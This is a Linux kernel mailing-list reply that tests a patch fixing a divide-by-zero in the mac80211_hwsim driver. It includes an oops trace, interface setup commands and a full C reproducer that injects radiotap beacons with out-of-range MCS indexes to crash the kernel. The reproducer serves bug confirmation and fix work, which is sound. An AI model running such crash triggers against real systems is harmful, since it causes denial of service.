Re: [PATCH] wifi: mac80211_hwsim: avoid division by zero in mac80211_hwsim_write_tsf()

From: Hojun Choi

Date: Sat Jun 27 2026 - 09:48:51 EST


Tested-by: Hojun Choi <ghwns6743@xxxxxxxxx>

Thanks for the fix. I confirmed it with a standalone reproducer that
injects a beacon on a monitor interface with a radiotap MCS index past
the band's n_bitrates. The bitrates[] read then goes past the table but
stays inside struct mac80211_hwsim_data (so KASAN is quiet), lands on a
0 .bitrate, and write_tsf() ends up doing 1920 / 0.

Without the patch:

Oops: divide error: 0000 [#1] SMP KASAN PTI
RIP: 0010:mac80211_hwsim_write_tsf+0x476/0x5e0
Call Trace:
mac80211_hwsim_tx_frame_no_nl
mac80211_hwsim_tx
[...]
ieee80211_monitor_start_xmit

With the patch applied, the same injection no longer crashes (tested on
mainline, 502d801f0ab0).

The commit message explains why ieee80211_get_tx_rate() itself isn't
changed (ath5k/adm8211 and others dereference it without a NULL check).
Is hardening those callers, so the index could be bounds-checked
centrally, worth doing as a follow-up -- or is the per-driver guard the
preferred direction? Happy to help with the legwork if it's useful.

Setup and build:

iw phy phy0 interface add mon0 type monitor
ip link set mon0 up
iw dev mon0 set channel 6
cc -o repro repro.c && ./repro mon0

(mon0 must be on a live channel, or the frame is dropped before xmit.)

The syzbot dashboard has no reproducer for this bug, so here is a
standalone one:

/*
* repro.c -- divide error in mac80211_hwsim_write_tsf
*
* write_tsf does 1920 / txrate->bitrate for a beacon. The bitrate comes from
* ieee80211_get_tx_rate(), which indexes bands[band]->bitrates[idx] checking
* only idx >= 0 -- never idx < n_bitrates. A radiotap MCS index past the table
* reads an adjacent slot in the same heap object (so KASAN is silent); when
* that slot reads 0, the divide faults. We sweep 12..127 (8..127 on 5/6GHz).
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <endian.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <linux/if_ether.h>

enum
{
Rtmcs = 0x00080000,
Havemcs = 0x02,
Beacon = 0x80,
Burst = 32,
};

typedef struct Frame Frame;
struct Frame
{
unsigned char rtversion;
unsigned char rtpad;
unsigned short rtlen;
unsigned int rtpresent;
unsigned char mcsknown;
unsigned char mcsflags;
unsigned char mcsindex;
unsigned char rtpadend;

unsigned char fc;
unsigned char flags;
unsigned short duration;
unsigned char da[6];
unsigned char sa[6];
unsigned char bssid[6];
unsigned short seq;

/* beacon body -- tsf's end (32B) clears the write_tsf length gate */
unsigned long long tsf;
unsigned short interval;
unsigned short capab;
} __attribute__((packed));

void
die(char *s)
{
perror(s);
exit(1);
}

void
fill(Frame *f)
{
memset(f, 0, sizeof *f);
f->rtlen = htole16(12);
f->rtpresent = htole32(Rtmcs);
f->mcsknown = Havemcs;
f->fc = Beacon;
memset(f->da, 0xff, 6);
memset(f->sa, 0x02, 6);
memset(f->bssid, 0x02, 6);
f->tsf = htole64(0x05e6b0);
f->interval = htole16(100);
f->capab = htole16(0x0021);
}

int
main(int argc, char **argv)
{
char *iface, *colon;
int fd, kmsg, lo, hi, idx, i;
struct ifreq ifr;
struct sockaddr_ll to;
Frame f;

iface = argc > 1 ? argv[1] : "mon0";
lo = 12;
hi = 127;
if(argc > 2){
colon = strchr(argv[2], ':');
lo = atoi(argv[2]);
hi = colon ? atoi(colon + 1) : lo;
}

fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(fd < 0)
die("socket");

memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, iface, IFNAMSIZ - 1);
if(ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die(iface);

memset(&to, 0, sizeof to);
to.sll_family = AF_PACKET;
to.sll_ifindex = ifr.ifr_ifindex;
to.sll_protocol = htons(ETH_P_ALL);

kmsg = open("/dev/kmsg", O_WRONLY | O_CLOEXEC);

fill(&f);

/* the injection: send a beacon at each MCS index, sweeping past n_bitrates */
for(idx = lo; idx <= hi; idx++){
f.mcsindex = idx;
if(kmsg >= 0)
dprintf(kmsg, "repro: mcs=%d\n", idx);

for(i = 0; i < Burst; i++)
if(sendto(fd, &f, sizeof f, 0, (struct sockaddr*)&to, sizeof to) < 0)
die("sendto");
}
return 0;
}